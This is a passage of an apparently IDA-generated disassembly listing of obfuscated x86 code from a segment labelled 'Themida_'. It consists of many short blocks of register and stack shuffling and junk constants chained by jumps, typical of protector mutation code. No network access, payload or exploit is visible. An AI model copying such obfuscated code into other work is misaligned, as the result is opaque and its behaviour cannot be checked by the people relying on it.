		pop	esp
		or	ebx, ebx
		jnz	loc_55C7D1
		push	45D4h
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_55CCE1
; ---------------------------------------------------------------------------


loc_558DD1:				; CODE XREF: Themida_:0055D15Cj
		push	edx
		push	esp
		jmp	loc_55C703
; ---------------------------------------------------------------------------


loc_558DD8:				; CODE XREF: Themida_:0055B411j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_5560F2
; ---------------------------------------------------------------------------


loc_558DE7:				; CODE XREF: Themida_:00552978j
		add	eax, 528A5345h
		jmp	loc_55CAF3
; ---------------------------------------------------------------------------


loc_558DF1:				; CODE XREF: Themida_:0055455Bj
		pop	esp
		add	esp, 4
		jmp	loc_559E1E
; ---------------------------------------------------------------------------


loc_558DFA:				; CODE XREF: Themida_:0055A1F7j
		neg	eax
		jmp	loc_55818F
; ---------------------------------------------------------------------------


loc_558E01:				; CODE XREF: Themida_:0055BCDCj
		mov	ecx, 33B2F6Bh
		jmp	loc_5591E0
; ---------------------------------------------------------------------------


loc_558E0B:				; CODE XREF: Themida_:00559933j
		sub	di, 0A10Dh
		mov	dx, di
		pop	edi
		jmp	loc_556882
; ---------------------------------------------------------------------------


loc_558E19:				; CODE XREF: Themida_:0055BDEFj
		add	dh, 5Bh
		jmp	loc_554E4D
; ---------------------------------------------------------------------------


loc_558E21:				; CODE XREF: Themida_:0055DCF4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	ax, 3798h
		mov	bx, 8B4h
		xor	bx, ax
		pop	eax
		jmp	loc_551D58
; ---------------------------------------------------------------------------


loc_558E45:				; CODE XREF: Themida_:005571CBj
		add	al, 35h
		add	dl, al
		pop	eax
		add	bl, dl
		jmp	loc_55CCB1
; ---------------------------------------------------------------------------


loc_558E51:				; CODE XREF: Themida_:0055876Dj
		push	dx
		mov	dl, 44h
		xor	ch, dl
		pop	dx
		or	bl, ch
		pop	ecx
		jmp	loc_55C349
; ---------------------------------------------------------------------------
		push	468Eh
		mov	[esp], edx
		mov	edx, 38h
		sub	edx, 42510DD2h
		sub	edx, 137014FAh
		add	edx, edi
		add	edx, 137014FAh
		jmp	loc_55DA1B
; ---------------------------------------------------------------------------


loc_558E87:				; CODE XREF: Themida_:00555FD4j
		xor	ebp, 53555CBBh
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 8
		jmp	loc_5596B1
; ---------------------------------------------------------------------------


loc_558E9B:				; CODE XREF: Themida_:00556406j
		add	esp, 2
		shl	bx, 7
		shl	bx, 7
		jmp	loc_5571B5
; ---------------------------------------------------------------------------


loc_558EAB:				; CODE XREF: Themida_:0055BE05j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	edi
		jmp	loc_558EEC
; ---------------------------------------------------------------------------


loc_558EB8:				; CODE XREF: Themida_:00551E39j
		and	bh, 0FEh
		jmp	loc_55493F
; ---------------------------------------------------------------------------


loc_558EC0:				; CODE XREF: Themida_:00558128j
		push	7BCFh
		mov	[esp], edx
		mov	edx, 3BDB54EAh
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	5182h
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		jmp	loc_558AB6
; ---------------------------------------------------------------------------


loc_558EE3:				; CODE XREF: Themida_:00554101j
		push	esp
		mov	esi, [esp]
		jmp	loc_559938
; ---------------------------------------------------------------------------


loc_558EEC:				; CODE XREF: Themida_:00558EB3j
		mov	edi, 16B83421h
		sub	edx, 0DE20B33h
		add	edx, edi
		add	edx, 0DE20B33h
		pop	edi
		sub	edx, 32346A58h
		add	edx, eax
		add	edx, 32346A58h
		push	ecx
		jmp	loc_555286
; ---------------------------------------------------------------------------


loc_558F14:				; CODE XREF: Themida_:0055BDD5j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55B3BF
; ---------------------------------------------------------------------------


loc_558F26:				; CODE XREF: Themida_:0055D0EBj
		push	esi
		mov	esi, 6ECA648Fh
		jmp	loc_55B027
; ---------------------------------------------------------------------------


loc_558F31:				; CODE XREF: Themida_:00553F53j
		inc	ecx
		jmp	loc_5545C8
; ---------------------------------------------------------------------------


loc_558F37:				; CODE XREF: Themida_:00556AF4j
		add	esp, 4
		push	5ED9h
		mov	[esp], esi
		mov	esi, 7F092505h
		sub	[esp+4], esi
		pop	esi
		add	dword ptr [esp], 7EC95863h
		sub	[esp], eax
		sub	dword ptr [esp], 7EC95863h
		jmp	loc_55DCB5
; ---------------------------------------------------------------------------


loc_558F62:				; CODE XREF: Themida_:0055A9CEj
		add	esi, 4
		push	ebp
		jmp	loc_55A528
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		jmp	loc_5573A6
; ---------------------------------------------------------------------------


loc_558F77:				; CODE XREF: Themida_:0055DAB4j
		mov	ecx, 770149Ch
		jmp	loc_5573FD
; ---------------------------------------------------------------------------


loc_558F81:				; CODE XREF: Themida_:00559BDAj
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 5FE90E52h
		jmp	loc_55CECF
; ---------------------------------------------------------------------------


loc_558F9B:				; CODE XREF: Themida_:00559653j
		mov	bh, 0C2h
		mov	al, 0F4h
		add	al, bh
		pop	ebx
		dec	al
		jmp	loc_55540B
; ---------------------------------------------------------------------------


loc_558FA9:				; CODE XREF: Themida_:005549DEj
		sub	eax, 7712C7Ch
		sub	eax, ebx
		add	eax, 7712C7Ch
		sub	eax, 77640689h
		push	edi
		push	esi
		jmp	loc_553B65
; ---------------------------------------------------------------------------


loc_558FC1:				; CODE XREF: Themida_:0055BCCDj
		xor	ebp, [esp]
		jmp	loc_5527E2
; ---------------------------------------------------------------------------


loc_558FC9:				; CODE XREF: Themida_:005575FAj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	esi
		jmp	loc_557EE3
; ---------------------------------------------------------------------------


loc_558FD9:				; CODE XREF: Themida_:005585B5j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	2A2Bh
		mov	[esp], eax
		push	ecx
		mov	ecx, 0C963225h
		not	ecx
		neg	ecx
		jmp	loc_55D7B0
; ---------------------------------------------------------------------------


loc_558FF7:				; CODE XREF: Themida_:00553A0Dj
		pop	edx
		sub	ecx, ebp
		jmp	loc_5573F1
; ---------------------------------------------------------------------------


loc_558FFF:				; CODE XREF: Themida_:005579F7j
		mov	edi, esp
		jmp	loc_55CEEC
; ---------------------------------------------------------------------------


loc_559006:				; CODE XREF: Themida_:00557C03j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xor	eax, edi
		pop	edi
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559029:				; CODE XREF: Themida_:0055BD87j
		pop	edx
		sub	ecx, ebx
		push	ebx
		mov	ebx, 3A185BCCh
		sub	ecx, ebx
		pop	ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		add	dword ptr [esp], 60D768E5h
		pop	eax
		sub	eax, 60D768E5h
		pop	ecx
		push	5C69h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	800000h
		pop	edx
		jmp	loc_55BEFB
; ---------------------------------------------------------------------------


loc_559069:				; CODE XREF: Themida_:0055B66Dj
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_556017
; ---------------------------------------------------------------------------


loc_559078:				; CODE XREF: Themida_:00554788j
		shr	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 44A4606Eh
		jmp	loc_55B20F
; ---------------------------------------------------------------------------


loc_55908E:				; CODE XREF: Themida_:00556E48j
		pop	ecx
		jmp	loc_55A4B9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1F57h
		mov	[esp], edi
		jmp	loc_55D222
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx
		jmp	loc_556D28
; ---------------------------------------------------------------------------


loc_5590AE:				; CODE XREF: Themida_:0055B028j
		push	edi
		mov	edi, 74FE4392h
		mov	ebp, 0C820A44Bh
		sub	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		sub	eax, esi
		sub	eax, 532260B9h
		push	dword ptr [esp]
		jmp	loc_557C9D
; ---------------------------------------------------------------------------


loc_5590CE:				; CODE XREF: Themida_:005537E6j
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 6E9434C1h
		jmp	loc_55B89D
; ---------------------------------------------------------------------------


loc_5590DF:				; CODE XREF: Themida_:00555DCEj
		mov	ebp, ebx
		pop	ebx
		add	ecx, ebp
		jmp	loc_55675E
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_552563
; ---------------------------------------------------------------------------


loc_5590EF:				; CODE XREF: Themida_:00554246j
		push	53638D9h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		neg	ebp
		jmp	loc_5535C8
; ---------------------------------------------------------------------------


loc_559105:				; CODE XREF: Themida_:00553094j
		pop	edx
		add	eax, edx
		jmp	loc_5520CC
; ---------------------------------------------------------------------------


loc_55910D:				; CODE XREF: Themida_:0055961Bj
		pop	edi
		add	eax, 0E53F27Ch
		xor	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	edx, ebx
		jmp	loc_559A41
; ---------------------------------------------------------------------------


loc_559123:				; CODE XREF: Themida_:0055D88Cj
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		sub	ebx, 383D4B6Bh
		inc	ebx
		jmp	loc_5550F6
; ---------------------------------------------------------------------------


loc_559135:				; CODE XREF: Themida_:00557234j
		add	edi, 0F026EFF0h
		add	esi, edi
		jmp	loc_55A929
; ---------------------------------------------------------------------------


loc_559142:				; CODE XREF: Themida_:005553ECj
		sub	esi, 71F58E6h
		shr	esi, 4
		shr	esi, 5
		not	esi
		push	edi
		push	esi
		mov	esi, 1FF767EBh
		add	esi, 776C2F7Fh
		jmp	loc_556EDB
; ---------------------------------------------------------------------------


loc_559162:				; CODE XREF: Themida_:005527AEj
		mov	edx, 2DEA2661h
		neg	edx
		shl	edx, 8
		jmp	loc_557D08
; ---------------------------------------------------------------------------


loc_559171:				; CODE XREF: Themida_:0055A675j
		mov	edi, 16F37F22h
		jmp	loc_55D4EB
; ---------------------------------------------------------------------------


loc_55917B:				; CODE XREF: Themida_:0055629Aj
		add	esi, 0A796C0CEh
		jmp	loc_558DB0
; ---------------------------------------------------------------------------


loc_559186:				; CODE XREF: Themida_:0055B5C1j
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_55D00C
; ---------------------------------------------------------------------------


loc_559195:				; CODE XREF: Themida_:0055E037j
		sub	dword ptr [esp+8], 210C55C3h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_553507
; ---------------------------------------------------------------------------


loc_5591A8:				; CODE XREF: Themida_:00557DF8j
		shl	ebx, 2
		or	ebx, 4A2B31E9h
		sub	ebx, 4A3F31E9h
		add	ebp, ebx
		pop	ebx
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_55271C
; ---------------------------------------------------------------------------


loc_5591C5:				; CODE XREF: Themida_:0055817Bj
		push	edi
		mov	edi, 20E24E21h
		or	ebx, edi
		pop	edi
		jmp	loc_55D5BF
; ---------------------------------------------------------------------------


loc_5591D3:				; CODE XREF: Themida_:00551F0Dj
		push	edi
		mov	edi, 6037053Dh
		neg	edi
		jmp	loc_555C7D
; ---------------------------------------------------------------------------


loc_5591E0:				; CODE XREF: Themida_:00558E06j
		and	ecx, 374D2DC4h
		jmp	loc_5598EF
; ---------------------------------------------------------------------------


loc_5591EB:				; CODE XREF: Themida_:0055687Dj
		add	eax, edx
		pop	edx
		mov	esi, eax
		jmp	loc_551CA8
; ---------------------------------------------------------------------------


loc_5591F5:				; CODE XREF: Themida_:00552D1Ej
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55920D:				; CODE XREF: Themida_:0055A409j
		push	ebx
		jmp	loc_5530FB
; ---------------------------------------------------------------------------


loc_559213:				; CODE XREF: Themida_:0055C847j
		push	eax
		mov	eax, 44153477h
		sub	eax, 7F9411C0h
		push	edi
		mov	edi, 37F4789Ah
		xor	edi, 34535E25h
		push	ecx
		mov	ecx, 14372343h
		or	ecx, 3E8051C8h
		add	ecx, 1
		and	ecx, 63A97F4Ch
		inc	ecx
		shl	ecx, 1
		add	ecx, 0B37940Fh
		add	edi, ecx
		pop	ecx
		xor	edi, 8B5154Bh
		push	edx
		mov	edx, 0D2E6342h
		sub	edi, edx
		jmp	loc_554221
; ---------------------------------------------------------------------------


loc_559261:				; CODE XREF: Themida_:00555586j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_557B0E
; ---------------------------------------------------------------------------


loc_55926C:				; CODE XREF: Themida_:0055466Ej
		xchg	esi, [esp]
		jmp	loc_55C2D7
; ---------------------------------------------------------------------------


loc_559274:				; CODE XREF: Themida_:0055699Bj
		push	ebx
		mov	ebx, 75A90B4Ch
		jmp	loc_55235F
; ---------------------------------------------------------------------------


loc_55927F:				; CODE XREF: Themida_:00551BB8j
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		push	ebx
		push	4
		pop	ebx
		add	[esp+4], ebx
		pop	ebx
		pop	esi
		jmp	loc_5539F1
; ---------------------------------------------------------------------------


loc_5592B5:				; CODE XREF: Themida_:0055CC23j
		pop	ebp
		push	edi
		mov	edi, 0BEC0DCFAh
		sub	ecx, edi
		jmp	loc_5551B4
; ---------------------------------------------------------------------------


loc_5592C3:				; CODE XREF: Themida_:0055C4AEj
		mov	edx, 11911C43h
		xchg	edi, edx
		jmp	loc_55995E
; ---------------------------------------------------------------------------


loc_5592CF:				; CODE XREF: Themida_:0055ACEBj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_551B07
; ---------------------------------------------------------------------------


loc_5592DD:				; CODE XREF: Themida_:005541DEj
		xor	edi, 0E8947C37h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553F04
; ---------------------------------------------------------------------------


loc_5592F0:				; CODE XREF: Themida_:005579CFj
		push	ebx
		push	7DDD33F2h
		mov	ebx, [esp]
		jmp	loc_55684F
; ---------------------------------------------------------------------------


loc_5592FE:				; CODE XREF: Themida_:00556692j
		pop	edi
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_555758
; ---------------------------------------------------------------------------


loc_55931A:				; CODE XREF: Themida_:00551F43j
		sub	ebx, 5F00454Ah
		pop	edi
		jmp	loc_55B205
; ---------------------------------------------------------------------------


loc_559326:				; CODE XREF: Themida_:005563CEj
		mov	[esp], ecx
		jmp	loc_55653D
; ---------------------------------------------------------------------------


loc_55932E:				; CODE XREF: Themida_:00553030j
		mov	[esp], edi
		push	76805A8Dh
		jmp	loc_55C837
; ---------------------------------------------------------------------------


loc_55933B:				; CODE XREF: Themida_:00552B7Ej
		xor	dword ptr [esp], 0D9E6560h
		pop	edi
		xor	edi, 0D9E6560h
		mov	edx, [esp]
		jmp	loc_557CA4
; ---------------------------------------------------------------------------


loc_559351:				; CODE XREF: Themida_:00556C96j
		xor	ebp, eax
		pop	eax
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	esi
		jmp	loc_5528DF
; ---------------------------------------------------------------------------


loc_559366:				; CODE XREF: Themida_:00551DE1j
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_5543FA
; ---------------------------------------------------------------------------


loc_559371:				; CODE XREF: Themida_:00558424j
		or	esi, 6A024143h
		jmp	loc_5541C7
; ---------------------------------------------------------------------------


loc_55937C:				; CODE XREF: Themida_:0055D122j
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_55664B
; ---------------------------------------------------------------------------


loc_559389:				; CODE XREF: Themida_:00554FDCj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	cx
		mov	cl, 0F5h
		jmp	loc_55439A
; ---------------------------------------------------------------------------


loc_5593A4:				; CODE XREF: Themida_:00554008j
		sub	edx, 75674803h
		add	edx, 4BBC5F1Dh
		sub	edx, ebp
		sub	edx, 4BBC5F1Dh
		add	edx, 75674803h
		pop	ebp
		sub	eax, edx
		push	dword ptr [esp]
		jmp	loc_553CCA
; ---------------------------------------------------------------------------


loc_5593C9:				; CODE XREF: Themida_:00552C5Fj
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_5528BF
; ---------------------------------------------------------------------------


loc_5593D4:				; CODE XREF: Themida_:005551AFj
		add	ecx, 0A7AC910Ch
		add	edi, ecx
		jmp	loc_551A3F
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5593EA:				; CODE XREF: Themida_:0055BE2Dj
		add	ebp, 65864E0Eh
		mov	eax, ebp
		jmp	loc_5589DE
; ---------------------------------------------------------------------------


loc_5593F7:				; CODE XREF: Themida_:005559FFj
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_556F4E
; ---------------------------------------------------------------------------


loc_559400:				; CODE XREF: Themida_:00559DABj
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	2DBCh
		jmp	loc_558A7A
; ---------------------------------------------------------------------------


loc_559412:				; CODE XREF: Themida_:0055C2B3j
		pop	edi
		push	ebx
		push	12096E85h
		pop	ebx
		sub	ecx, 4A50C8Eh
		sub	ecx, ebx
		add	ecx, 4A50C8Eh
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 7
		shl	ecx, 2
		push	403Fh
		jmp	loc_5558F3
; ---------------------------------------------------------------------------


loc_559441:				; CODE XREF: Themida_:0055C866j
		pop	esi
		sub	ecx, 0B7E67E4h
		add	ecx, eax
		add	ecx, 0B7E67E4h
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_556B26
; ---------------------------------------------------------------------------


loc_559468:				; CODE XREF: Themida_:005539F7j
		push	edx
		mov	edx, 4
		sub	esi, 1B673873h
		add	esi, edx
		add	esi, 1B673873h
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mul	ecx
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	edx
		push	ebp
		jmp	loc_553607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55949E:				; CODE XREF: sub_55656B-3F70j
		dec	edi
		shl	edi, 8
		xor	edi, 946AF004h
		sub	ebp, 3A6439D9h
		jmp	loc_558005
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_5594B3:				; CODE XREF: Themida_:00555C5Bj
		add	edx, 78BEB70h
		add	edi, edx
		jmp	loc_55C7F9
; ---------------------------------------------------------------------------


loc_5594C0:				; CODE XREF: Themida_:00552C87j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55A1D6
; ---------------------------------------------------------------------------


loc_5594D4:				; CODE XREF: Themida_:005565C1j
		push	edi
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		pop	ecx
		add	edx, esi
		pop	esi
		push	esi
		mov	esi, 1C61463Dh
		inc	esi
		push	eax
		mov	eax, 94408A9h
		and	eax, 22BC6511h
		neg	eax
		shl	eax, 1
		or	eax, 464C6DD9h
		jmp	loc_556EF0
; ---------------------------------------------------------------------------


loc_5594FE:				; CODE XREF: Themida_:0055AC13j
		pop	eax
		push	5B25h
		jmp	loc_55BBC8
; ---------------------------------------------------------------------------


loc_559509:				; CODE XREF: Themida_:00555064j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5527F1
; ---------------------------------------------------------------------------


loc_559518:				; CODE XREF: Themida_:0055A583j
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	ebp, 4
		jmp	loc_55C069
; ---------------------------------------------------------------------------


loc_559533:				; CODE XREF: Themida_:0055A99Aj
		pop	ebx
		add	eax, 2A7E22AAh
		sub	eax, 20651617h
		add	eax, ecx
		add	eax, 20651617h
		push	ebp
		jmp	loc_55D805
; ---------------------------------------------------------------------------


loc_55954B:				; CODE XREF: Themida_:00555B3Cj
		or	edi, 5E484C71h
		xor	edi, 398E57C0h
		jmp	loc_55317D
; ---------------------------------------------------------------------------


loc_55955C:				; CODE XREF: Themida_:0055AEDCj
		sub	ebx, 3BFC002Ch
		add	ebx, ecx
		add	ebx, 3BFC002Ch
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	esi
		push	edi
		mov	edi, 693B68F6h
		add	edi, 1B513EF7h
		not	edi
		not	edi
		shl	edi, 7
		inc	edi
		jmp	loc_55AB77
; ---------------------------------------------------------------------------


loc_559592:				; CODE XREF: Themida_:00558481j
		mov	ebp, 0CB7EC8F8h
		xor	eax, ebp
		pop	ebp
		add	edi, eax
		jmp	loc_555302
; ---------------------------------------------------------------------------


loc_5595A1:				; CODE XREF: Themida_:0055DA92j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_551CDE
; ---------------------------------------------------------------------------


loc_5595AC:				; CODE XREF: Themida_:0055B5E5j
		and	[esp], al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5595B5:				; CODE XREF: Themida_:00556C5Cj
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		jmp	loc_55821D
; ---------------------------------------------------------------------------


loc_5595C0:				; CODE XREF: Themida_:0055338Ej
		push	ecx
		mov	ecx, 0A5A58C1h
		sub	eax, ecx
		pop	ecx
		shr	eax, 5
		shr	eax, 5
		xor	eax, 3DF5C1h
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_55A0F8
; ---------------------------------------------------------------------------


loc_5595E2:				; CODE XREF: Themida_:00553F73j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55C56A
; ---------------------------------------------------------------------------


loc_5595F6:				; CODE XREF: Themida_:005587D1j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559607:				; CODE XREF: Themida_:0055ACA2j
		add	esi, 37F53E69h
		jmp	loc_557311
; ---------------------------------------------------------------------------


loc_559612:				; CODE XREF: Themida_:0055C19Bj
		mov	edx, ecx
		jmp	loc_556877
; ---------------------------------------------------------------------------


loc_559619:				; CODE XREF: Themida_:00554228j
		sub	eax, edi
		jmp	loc_55910D
; ---------------------------------------------------------------------------


loc_559620:				; CODE XREF: Themida_:0055808Fj
		push	421Bh
		mov	[esp], ecx
		jmp	loc_555005
; ---------------------------------------------------------------------------


loc_55962D:				; CODE XREF: Themida_:00551C97j
		sub	bl, 61h
		sub	bl, 27h
		sub	bl, al
		push	ecx
		mov	ch, 27h
		add	bl, ch
		pop	ecx
		add	bl, 61h
		sub	bl, 0CDh
		jmp	loc_557D4A
; ---------------------------------------------------------------------------


loc_559646:				; CODE XREF: Themida_:0055D311j
		add	esp, 4
		push	6F8Ah
		mov	[esp], ecx
		push	eax
		push	ebx
		jmp	loc_558F9B
; ---------------------------------------------------------------------------


loc_559658:				; CODE XREF: Themida_:0055276Fj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55965D:				; CODE XREF: Themida_:00559D22j
		sub	eax, 291063FBh
		pop	edx
		sub	eax, 263553A2h
		sub	eax, edx
		add	eax, 263553A2h
		sub	eax, 191C7D78h
		push	ebp
		mov	ebp, 476476D1h
		neg	ebp
		shl	ebp, 4
		add	ebp, 12AD4A13h
		or	ebp, 166675EEh
		xor	ebp, 207726DDh
		add	ebp, 9AD06F7Eh
		jmp	loc_5576FA
; ---------------------------------------------------------------------------


loc_55969C:				; CODE XREF: Themida_:00557AB3j
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55200B
; ---------------------------------------------------------------------------


loc_5596B1:				; CODE XREF: Themida_:00558E96j
		push	7E11h
		jmp	loc_55289C
; ---------------------------------------------------------------------------


loc_5596BB:				; CODE XREF: Themida_:0055609Fj
		or	si, 49E8h
		dec	si
		xor	si, 3E7Ch
		xor	si, 1A7Eh
		add	bx, 1D0Ch
		add	bx, si
		jmp	loc_558094
; ---------------------------------------------------------------------------


loc_5596D9:				; CODE XREF: Themida_:00554BFFj
		add	esi, ebx
		sub	esi, 751F63BBh
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	small 741Bh
		mov	[esp], cx
		jmp	loc_556B2E
; ---------------------------------------------------------------------------


loc_5596F9:				; CODE XREF: Themida_:00559DFFj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_553170
; ---------------------------------------------------------------------------
		push	ecx
		push	4408h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_557569
; ---------------------------------------------------------------------------


loc_559728:				; CODE XREF: Themida_:00556EC5j
		xor	esi, edi
		pop	edi
		and	esi, 55473F8Bh
		sub	esp, 4
		jmp	loc_55839D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_557DC8
; ---------------------------------------------------------------------------


loc_559742:				; CODE XREF: Themida_:0055D140j
		add	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_558923
; ---------------------------------------------------------------------------


loc_55974C:				; CODE XREF: Themida_:0055A18Ej
		sub	ebp, 72E74D38h
		sub	eax, ebp
		pop	ebp
		add	eax, edi
		jmp	loc_55A3C7
; ---------------------------------------------------------------------------


loc_55975C:				; CODE XREF: Themida_:00551AE1j
		mov	edx, 3C6445B1h
		add	edx, 0FF56DBDEh
		jmp	loc_55262F
; ---------------------------------------------------------------------------


loc_55976C:				; CODE XREF: Themida_:0055D650j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	cx, al
		jmp	loc_5578B0
; ---------------------------------------------------------------------------


loc_55977E:				; CODE XREF: Themida_:00554E48j
		mov	[esp], edi
		push	1A8424A7h
		pop	edi
		shl	edi, 5
		dec	edi
		or	edi, 783D256Eh
		sub	edi, 78BDB5FDh
		mov	edx, edi
		pop	edi
		add	ebp, 77CA1318h
		add	ebp, 56EA1F23h
		add	ebp, edx
		sub	ebp, 56EA1F23h
		sub	ebp, 77CA1318h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55D4E2
; ---------------------------------------------------------------------------


loc_5597CA:				; CODE XREF: Themida_:0055C3F1j
		mov	edx, [esp]
		push	478Ch
		jmp	loc_55A869
; ---------------------------------------------------------------------------


loc_5597D7:				; CODE XREF: Themida_:0055C048j
		pop	ebp
		sub	dword ptr [esp+4], 27230535h
		jmp	loc_55B637
; ---------------------------------------------------------------------------


loc_5597E5:				; CODE XREF: Themida_:0055593Ej
		mov	edi, 4
		add	ebx, 4DC760D7h
		add	ebx, edi
		sub	ebx, 4DC760D7h
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55C394
; ---------------------------------------------------------------------------


loc_559804:				; CODE XREF: Themida_:0055333Cj
		sub	ebx, 5DC86EDBh
		pop	eax
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	35F0h
		mov	[esp], ecx
		mov	ecx, 5D0F49C6h
		jmp	loc_556A72
; ---------------------------------------------------------------------------


loc_55983C:				; CODE XREF: Themida_:00553D54j
		pop	dword ptr [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_556E65
; ---------------------------------------------------------------------------


loc_55984B:				; CODE XREF: Themida_:00552760j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jz	loc_55760F
		push	edi
		push	ebx
		sub	dword ptr [esp], 6F37121Ah
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55494F
; ---------------------------------------------------------------------------


loc_55988F:				; CODE XREF: Themida_:0055CBD6j
		add	al, 0BFh
		jmp	loc_554D23
; ---------------------------------------------------------------------------


loc_559896:				; CODE XREF: Themida_:0055CA1Ej
		inc	edi
		inc	edi
		jmp	loc_55BEE8
; ---------------------------------------------------------------------------


loc_55989D:				; CODE XREF: Themida_:0055B681j
		push	edx
		mov	edx, 5999300Dh
		dec	edx
		inc	edx
